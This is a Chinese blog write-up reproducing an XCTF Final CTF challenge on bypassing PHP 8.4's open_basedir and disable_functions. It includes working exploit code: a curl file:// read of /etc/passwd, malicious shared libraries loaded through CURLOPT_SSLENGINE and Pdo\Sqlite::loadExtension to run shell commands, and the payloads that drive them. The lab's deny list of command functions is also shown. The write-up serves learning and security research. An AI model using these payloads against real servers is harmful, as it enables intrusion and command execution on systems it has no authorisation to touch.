复现最新版PHP绕open_basedir和disable_functions
前提工作
本题来自于 XCTF Final ,本博客将针对这道题进行复现和学习
我是通过起一个docker环境对其进行复现
dockerfile如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| FROM php:8.4.13-apache
WORKDIR /var/www/html
RUN apt-get update && apt-get install -y \ libzip-dev \ zip \ unzip \ && docker-php-ext-install zip \ && docker-php-ext-install mysqli pdo pdo_mysql
RUN { \ echo 'disable_functions=proc_open,pcntl_waitpid,pcntl_wait,dl,ini_restore,mb_send_mail,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,pcntl_alarm,pcntl_sigtimedwait,ini_set'; \ echo 'open_basedir=/var/www/html:/tmp'; \ } > /usr/local/etc/php/conf.d/security.ini
RUN chown -R www-data:www-data /var/www/html
RUN a2enmod rewrite
COPY . /var/www/html/
EXPOSE 80
CMD ["./start.sh"]
|
start.sh如下
1 2 3 4
| #!/bin/bash echo "flag{test}" > /flag chmod 644 /flag exec apache2-foreground
|
之后再docker build 和docker run,环境就起来了
复现工作
这篇复现博客主要是对着大佬的博客fushulingのblog进行学习和理解
题目的源码很简单,就是单纯的一个eval函数
1 2 3
| <?php highlight_file(__FILE__); @eval($_POST['so_ez!k1ddi&g?']);
|
POST的传参名是非法传参名,如果是PHP8以下的可以用[来绕过,但这是PHP8的版本,直接url编码绕过即可
传so%5Fez%21k1ddi%26g%3F=phpinfo();,看phpinfo的信息,可以看到open_basedir和disable_functions分别是

这个disable_functions是将所有PHP中可以命令执行的函数全禁了,没有办法命令执行,而open_basedir把读取文件的方法禁了,没有办法读取文件
通过curl绕过open_basedir
PHP8.3
首先先提到一个在PHP8.3的特性,是在PHP8.3的一个issue,提到可以用curl绕过open_basedir

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $ docker run -ti php@sha256:62a9d2183e1039f4d06d7f1bbfa8de7ccebf04fc4d3d849939648150d1000237 php -d 'open_basedir=/nowhere' -r 'echo phpversion()."\n"; $ch = curl_init("file:///etc/passwd");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);' 8.3.13 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
但是由于PHP官方很快就ban了参数all

这里我也测试一下这个是否可行以及其原理
将上面的dockerfile的php:8.4.13-apache换成php:8.3.13-apache来试试


通过对比可以看到,在8.3.13版本下是可以通过cURL绕过open_basedir的限制的,但是为什么会这样呢?
open_basedir主要是对PHP内核中的文件函数(如fopen, file_get_contents)等进行操作,而cURL 扩展实际上是一个”包装器”,它:
- 直接调用 libcurl 库
- libcurl 直接使用操作系统的文件系统调用
- 绕过了 PHP 的用户空间安全检查
进行的操作不在php内,可以直接通过操作系统的文件系统调用读取文件,所以可以绕过open_basedir 限制
但是这个方法限制的版本为PHP8.3、libcurl>=7.85.0,所以在版本为PHP8.4.13的比赛环境中,这个漏洞被修复了,那么该如何绕过open_basedir
PHP8.4
但是curl本就可以加载动态库链接导致RCE
方法来自这个文章curl | Report #3293801 - Title: Remote Code Execution (RCE) via Arbitrary Library Loading in --engine option | HackerOne
这里放一个漏洞摘要
curl 命令行工具在类 UNIX 系统(Linux、macOS 等)中存在任意代码执行漏洞。问题的核心在于 --engine 选项,该选项允许从共享库(.so 文件)加载 OpenSSL 加密引擎。关键是,这个选项接受共享库的绝对或相对路径,使得攻击者可以加载文件系统中的任意共享库。
攻击者可以制作一个恶意的共享库,其中包含 __attribute__((constructor)) 函数。这个函数在库被加载到 curl 进程内存的瞬间就会由动态加载器执行,从而立即实现代码执行,甚至在 OpenSSL 尝试将其初始化为引擎之前就完成了攻击。
如果攻击者能够影响传递给 curl 命令的参数(这在 Web 应用后端、CI/CD 流水线和其他自动化脚本中很常见),就会导致直接的远程代码执行(RCE)。
上面的那篇文章主要是用于命令行,这里是用在php代码中,总的来说原理是一样的
在php代码中是通过PHP cURL 扩展的 CURLOPT_SSLENGINE 选项来加载恶意文件的(顺带一提,上面的CURLOPT_PROTOCOLS_STR选项是用于设置允许的协议列表,设置all就是允许所有可用协议)
写一个evil.c文件
1 2 3 4 5 6 7
| #include <stdlib.h> #include <stdio.h>
__attribute__((constructor)) static void rce_init(void){ system("whoami"); }
|
用以下命令编译成evil.so文件
1
| gcc -fPIC -shared -o evil.so evil.c
|
-fPIC:创建与内存位置无关的代码,当库被加载到不同内存地址时,固定地址会导致程序崩溃
-shared:告诉编译器生成共享库(.so 文件)而不是可执行文件
-o evil.so:指定输出文件名
payload为
1 2 3
| $ch = curl_init(); curl_setopt($ch, CURLOPT_SSLENGINE,"/tmp/evil.so"); $data = curl_exec($ch);
|
文件可以通过file_put_contents来写入
比如这样
1 2
| $base64_so = "base64编码后的so文件"; file_put_contents("/tmp/evil.so",base64_decode($base64_so));
|
不过通过curl来绕过这个漏洞在PHP8.5被修了
通过sqlite加载绕过open_basedir
默认情况下php官方镜像是开sqlite3扩展的

从官方文档可以看出来, SQLite3::loadExtension 可以加载so文件,但是这个方法限制了加载 so 的目录,不是一个我们的可控点:https://www.php.net/manual/zh/sqlite3.loadextension.php2

但是发现Pdo\Sqlite::loadExtension 也存在可以加载库的方法


版本要大于等于PHP8.4,正正好适用这个题目环境
所以我们可以选择自己构造一个so文件,然后用Pdo\Sqlite::loadExtension进行加载来执行命令,disable_functions 是 PHP 的配置项,只能用来禁止 PHP 语言层面的内建函数。阻止的是 PHP 解释器执行这些函数。这里相当于用进程空间的 C 层面直接调用了 system()(libc 的 system),所以显然是拦截不了我们的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #include <sqlite3ext.h> #include <stdio.h> #include <stdlib.h> #include <string.h>
SQLITE_EXTENSION_INIT1
#ifdef _WIN32 __declspec(dllexport) #endif int sqlite3_evil_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ) { SQLITE_EXTENSION_INIT2(pApi);
const char *command_file_path = "/tmp/1.txt"; char command_buffer[512] = {0}; FILE *file_handle;
file_handle = fopen(command_file_path, "r"); if (file_handle == NULL) { return SQLITE_OK; }
if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) { command_buffer[strcspn(command_buffer, "\r\n")] = 0; if (strlen(command_buffer) > 0) { system(command_buffer); } } fclose(file_handle); return SQLITE_OK; }
|
(截取自大佬的博客)
通过gcc -fPIC -shared -o evil.so evil.c编译成so文件,然后和上文一样上传

记住上传的so文件名要和sqlite3_evil_init函数名中间的要一样
利用payload为
1 2 3 4 5
| file_put_contents("/tmp/1.txt","cat /flag > /tmp/2.txt"); $db = new Pdo\Sqlite('sqlite::memory:'); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db->loadExtension('/tmp/evil.so'); echo file_get_contents("/tmp/2.txt");
|

总结工作
open_basedir和disable_functions限制的还是属于php的领域范畴里,都是通过调用底层系统的命令或者是文件操作来绕过php层面上的函数利用
这次的复现可以说是从PHP应用层突破到系统层,还有就是扩展机制有时候会带来一些意想不到的安全问题